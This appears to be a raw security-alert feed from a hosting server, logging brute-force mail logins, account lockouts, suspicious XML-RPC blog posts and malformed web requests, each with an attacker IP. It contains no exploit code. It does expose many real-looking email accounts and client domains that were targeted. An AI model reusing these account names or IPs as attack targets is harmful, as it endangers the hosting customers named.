2026-01-31 22:03:11 dovecot_login authenticator failed for H=(15NSG6AnK) [178.16.54.138]:53018: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:03:48 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:51682: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:04:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:379740b8a9e4f5fe176cc75251233b6e0356864d||Title:0x0b04f37d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-01-31 22:04:44 dovecot_login authenticator failed for H=([187.237.47.214]) [187.237.47.214]:49969: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-01-31 22:04:04 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:60446: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:04:17 dovecot_login authenticator failed for H=(3oVMUXF4k) [185.169.4.188]:64039: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:04:19 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58929: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-01-31 22:04:19 dovecot_login authenticator failed for H=([122.187.230.227]) [122.187.230.227]:44221: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.135.26.113
country_id: 1522867
description:
2026-01-31 22:04:09 dovecot_login authenticator failed for H=2.135.26.113.dynamic.telecom.kz [2.135.26.113]:44643: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:04:35 dovecot_login authenticator failed for H=(6XmH7i6DwZ) [178.16.54.138]:61830: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:04:46 dovecot_login authenticator failed for H=(BF9Fq7p) [185.169.4.188]:61119: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:05:13 dovecot_login authenticator failed for H=(EBtCGtk) [178.16.54.138]:65015: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:411d852f79cf4f65916181257f338e3bc2083885||Title:0x69c43e33||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:05:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:05:08 dovecot_login authenticator failed for H=(THiWv4F4VF) [185.169.4.188]:55271: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:05:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56194: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:06:03 dovecot_login authenticator failed for H=(4qxu4EWYw8) [178.16.54.138]:54509: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:06:09 dovecot_login authenticator failed for H=(T387T2akc) [185.169.4.188]:52381: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-01-31 22:06:35 dovecot_login authenticator failed for H=([128.185.223.185]) [27.123.114.190]:41148: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:06:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 22:06:36 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:57464: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-01-31 22:06:40 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:60514: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.34.231
country_id: 2029969
description:
2026-01-31 22:06:33 dovecot_plain authenticator failed for H=(LF21D45A3WC8) [103.168.34.231]:44297: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:07:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-01-31 22:07:04 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:37592: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:07:02 dovecot_login authenticator failed for H=(Bf71lMDR) [185.169.4.188]:63574: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:07:14 dovecot_login authenticator failed for H=(gwMksn2M) [178.16.54.138]:64094: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.160.134.4
country_id: 2921044
description:
2026-01-31 22:07:17 dovecot_plain authenticator failed for H=a-4.stretch.host (m6crf88td4sbyvze1hzfm67nlwc1ui74) [217.160.134.4]:34250: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:07:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-31 22:07:56 dovecot_login authenticator failed for H=([173.25.186.130]) [173.25.186.130]:57877: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.47.143.210
country_id: 1522867
description:
2026-01-31 22:07:02 dovecot_login authenticator failed for H=([92.47.143.173]) [92.47.143.210]:44222: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-31 22:07:11 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:58116: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 191.189.18.163
country_id: 3469034
domain: imax.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:66864.imax.com.my||ServerName:imax.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c356a95706bab1152c407f44dfae18a3cdd3a017||Title:0x5a1822da||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b29a9db5f688b1baa004e3048156c4605ca4dd5b||Title:0xc1776867||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:07:26 dovecot_login authenticator failed for H=(f7CtVvms) [185.169.4.188]:58729: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:08:11 dovecot_login authenticator failed for H=(B1hkGE) [178.16.54.138]:63283: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f04c9bc39bbf8424613d78d543b29460670c5d2e||Title:0xbec1f419||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.186.32.24
country_id: 289688
domain: www.plomalite.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.plomalite.com/products-services/outdoor-air-conditioning-system-rental.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:08:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:08:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:08:08 dovecot_login authenticator failed for H=(8V34tK9KvE) [185.169.4.188]:63736: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-01-31 22:08:26 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:47245: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 74.244.12.212
country_id: 2440476
description:
2026-01-31 22:09:53 186345 [Warning] Aborted connection 186345 to db: 'unconnected' user: 'unauthenticated' host: '74.244.12.212' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:09:01 dovecot_login authenticator failed for H=(oM2M58) [178.16.54.138]:54883: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:09:43 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:09:19 dovecot_login authenticator failed for H=(RG4NbO5) [185.169.4.188]:49631: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 22:09:56 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:49706: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:09:30 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 74.244.12.212
country_id: 2440476
description:
2026-01-31 22:09:50 186339 [Warning] Aborted connection 186339 to db: 'unconnected' user: 'unauthenticated' host: '74.244.12.212' (This connection closed normally without authentication)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6667633764a9cfa5d18971f9621bad35ef626f36||Title:0xff728465||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:10:04 dovecot_login authenticator failed for H=(FceDJ5) [185.169.4.188]:54893: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:10:08 dovecot_login authenticator failed for H=(hofDvHC) [185.169.4.188]:56735: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-01-31 22:10:24 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:22732: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-31 22:10:43 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:11555: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:10:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.140.70.147
country_id: 2802361
description:
2026-01-31 22:10:58 dovecot_login authenticator failed for H=147.70.140.34.bc.googleusercontent.com (10.132.0.2) [34.140.70.147]:51178: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.247.11
country_id: 1733045
description:
[2026-01-31 22:10:57 +0800] info [webmaild] 27.125.247.11 - kwangpeng@ktlog.com.my "GET /cpsess2049891849/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:10:34 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63316: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 83.187.172.17
country_id: 2661886
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/video.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:10:22 dovecot_login authenticator failed for H=(nZ5bLNx) [178.16.54.138]:53082: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:10:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.140.70.147
country_id: 2802361
description:
2026-01-31 22:11:06 dovecot_login authenticator failed for H=147.70.140.34.bc.googleusercontent.com (10.132.0.2) [34.140.70.147]:51620: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c106e43683e47f7e2080307c83656825e00887c2||Title:0xf5b4038d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-01-31 22:11:03 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:53628: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:11:13 dovecot_login authenticator failed for H=(RvRBhi8) [185.169.4.188]:52681: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:11:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64981: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:11:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:11:11 dovecot_login authenticator failed for H=(hK3lfmUULm) [178.16.54.138]:62971: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:11:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:12:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:12:05 dovecot_login authenticator failed for H=(UCjspfnu) [185.169.4.188]:57927: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:12:14 dovecot_login authenticator failed for H=(Qo44L7CDY) [178.16.54.138]:54807: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:12:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54743: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.247.11
country_id: 1733045
description:
[2026-01-31 22:12:26 +0800] info [webmaild] 27.125.247.11 - kwangpeng@ktlog.com.my "GET /cpsess2049891849/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:12:39 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58684: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:45dfb25d4b416697ef7028266ee2a96801ee5270||Title:0x198a61b7||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.144.49.74
country_id: 1210997
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/img/photos/9847114844.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:13:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:13:09 dovecot_login authenticator failed for H=(7gqXIIRY8) [185.169.4.188]:55022: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:13:21 dovecot_login authenticator failed for H=(rmQQ2JW) [178.16.54.138]:57870: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:251788dcfe17bc8de40910e0cfcad71304fa21c0||Title:0x5b7a36e4||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-01-31 22:13:07 dovecot_login authenticator failed for H=([36.39.140.2]) [36.39.140.2]:37805: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.129.90.215
country_id: 2921044
description:
2026-01-31 22:13:14 dovecot_login authenticator failed for H=ns3241969.ip-57-129-90.eu [57.129.90.215]:36394: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.125.223.63
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=762538 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.151.106.247
country_id: 1814991
description:
2026-01-31 22:14:37 dovecot_login authenticator failed for H=(v574776.hosted-by-vdsina.com) [117.151.106.247]:14806: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 74.244.12.212
country_id: 2440476
description:
2026-01-31 22:15:00 186523 [Warning] Aborted connection 186523 to db: 'unconnected' user: 'unauthenticated' host: '74.244.12.212' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.106.28.168
country_id: 99237
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=44501516696477 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:14:14 dovecot_login authenticator failed for H=(oGBobMIq) [178.16.54.138]:57198: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-31 22:14:21 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:52512: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-31 22:14:41 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:40782: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.250.180
country_id: 99237
description:
2026-01-31 22:14:59 dovecot_login authenticator failed for H=([65.20.250.180]) [65.20.250.180]:57208: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 74.244.12.212
country_id: 2440476
description:
2026-01-31 22:14:55 186513 [Warning] Aborted connection 186513 to db: 'unconnected' user: 'unauthenticated' host: '74.244.12.212' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:14:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim@cofreth.com.my has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:14:16 dovecot_login authenticator failed for H=(0vQLnn8ds7) [185.169.4.188]:51101: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:15:01 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61387: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:15:04 dovecot_login authenticator failed for H=(rPBwSW) [178.16.54.138]:54094: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:15:11 dovecot_login authenticator failed for H=(KOmxAActBM) [185.169.4.188]:58663: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.53.58.10
country_id: 1835841
description:
2026-01-31 22:15:23 dovecot_login authenticator failed for H=([211.53.58.10]) [211.53.58.10]:59971: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dfc6e483b8ec073e833623fcd3b8d303d572f52b||Title:0xe486c7b1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:15:03 dovecot_login authenticator failed for H=(2aT5GAOiN) [185.169.4.188]:54689: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:15:02 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61549: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 74.244.12.212
country_id: 2440476
description:
2026-01-31 22:15:01 186526 [Warning] Aborted connection 186526 to db: 'unconnected' user: 'unauthenticated' host: '74.244.12.212' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
